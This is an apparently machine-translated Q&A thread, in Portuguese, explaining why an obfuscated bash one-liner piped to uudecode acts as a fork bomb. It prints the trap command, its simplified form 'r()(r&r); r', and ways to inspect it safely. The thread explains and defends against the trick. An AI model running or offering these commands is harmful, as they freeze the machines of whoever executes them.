Como e por que esta cadeia de texto é uma bomba bifurcada?

129

Encontrado em um quadro aleatório:

echo "I<RA('1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==" | uudecode

De alguma forma, rodando isso, resulta em um processo de desova infinito que corre desenfreado e paralisa a máquina. Eu vejo algo sobre "su" tentando ser executado inúmeras vezes.

.. o que é estranho, porque eu só esperaria que o texto fosse produzido, não a execução de qualquer coisa.

A execução deste texto por meio de um decodificador on-line me fornece um lote de spew binário:

Oqueessaconfusãodetextoestárealmentefazendoeexisteumamaneirade"seguramente" visualizá-la?

    
por Mikey T.K. 06.11.2015 / 07:48

3 respostas

188

Primeiro, vamos dar uma olhada no comando inteiro:

echo "I<RA('1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==" | uudecode

Ele contém uma string com aspas duplas que é exibida em uudecode . Mas, observe que, dentro da string de aspas duplas, há uma string entre aspas . Esta string é executada . A string é:

'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'

Se olharmos para o que há nele, vemos três comandos:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Executando expansão de chave no comando do meio, temos:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

A primeira linha tenta executar um comando sem sentido em segundo plano. Isso não é importante.

A segunda linha é importante: define uma função r que, quando executada, lança duas cópias de si mesma. Cada uma dessas cópias, naturalmente, lançaria mais duas cópias. E assim por diante.

A terceira linha executa r , iniciando a bifurcação.

O restante do código, fora da string citada, não faz sentido para ofuscação.

Como executar o comando com segurança

Esse código pode ser executado com segurança se definirmos o limite no nível de aninhamento da função. Isso pode ser feito com a variável FUNCNEST do bash. Aqui, definimos como 2 e isso interrompe a recursão:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

As mensagens de erro acima mostram que (a) os comandos sem sentido rYWdl e Y29j não foram encontrados, (b) a bomba bifurcada foi interrompida repetidamente por FUNCNEST e (c) a saída de echo não comece com begin e, conseqüentemente, não é uma entrada válida para uudecode .

A bomba do garfo na sua forma mais simples

Como seria a bomba do garfo se removêssemos o obscurecimento? Como njzk2 e gerrit sugerem, seria parecido com:

echo "'r()(r&r);r'"

Podemos simplificar ainda mais:

r()(r&r); r

Isso consiste em duas instruções: uma define a função fork-bomb r e a segunda executa r .

Todo o outro código, incluindo o pipe para uudecode , estava lá apenas para obscurecimento e direcionamento errado.

A forma original tinha ainda outra camada de misdirection

O OP forneceu um link para a discussão do fórum sobre o qual este código apareceu. Como apresentado lá, o código parecia:

eval $(echo "I<RA('1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==" | uudecode)

Observe um dos primeiros comentários sobre este código:

I fell for it. Copied only the part that echoes and decodes, but still got forkbombed

No formulário no painel do canal, seria ingênuo pensar que o problema seria a instrução eval operando na saída de uudecode . Isso levaria a pensar que remover eval resolveria o problema. Como vimos acima, isso é falso e perigosamente.

    
por 06.11.2015 / 08:07
10

Para responder à segunda parte da sua pergunta:

...is there a way to "safely" view it?

Para desativar essa string, substitua as aspas duplas externas por aspas simples e escape as aspas simples que ocorrem dentro da cadeia. Assim, o shell não executará nenhum código e você estará transmitindo tudo diretamente para uudecode :

$ echo 'I<RA('\''1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;=='
I<RA('1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==
$ echo 'I<RA('\''1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Outras alternativas são anotadas nos comentários:

kasperd sugeriu :

$ uudecode
I<RA('1E<W3t'rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r'26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Como você sugeriu Jacob Krall? a> para usar um editor de texto, colar o conteúdo e depois passar esse arquivo para o uudecode.

    
por 06.11.2015 / 12:26
5

À primeira vista, você pode pensar que a saída para o shell nunca será executada . Isso ainda é verdadeiro . O problema já está na entrada . O principal truque aqui é o que os programadores chamam de precedência do operador . Esta é a ordem que o shell tenta processar sua entrada:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    '                                      '          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Componha a string executando todos os comandos de backticks dentro dela.
  2. Normalmente, um comando desconhecido, que causaria alguma saída como Se 'rYWdl' não é um erro de digitação, você pode usar o comando não encontrado para procurar o pacote que o contém… (depende do sistema )
  3. Executa 2. em segundo plano. Você nunca verá uma saída.
  4. Defina a função da bomba de garfo.
  5. Separador de comandos.
  6. Execute a bomba do garfo.
  7. Insira o resultado de 6. na String. (Nós nunca viemos aqui.)

O erro é pensar que echo seria o primeiro comando a ser executado, uudecode o segundo. Ambos nunca serão alcançados.

Conclusão: As aspas duplas são sempre perigosas no shell.

    
por 11.11.2015 / 09:01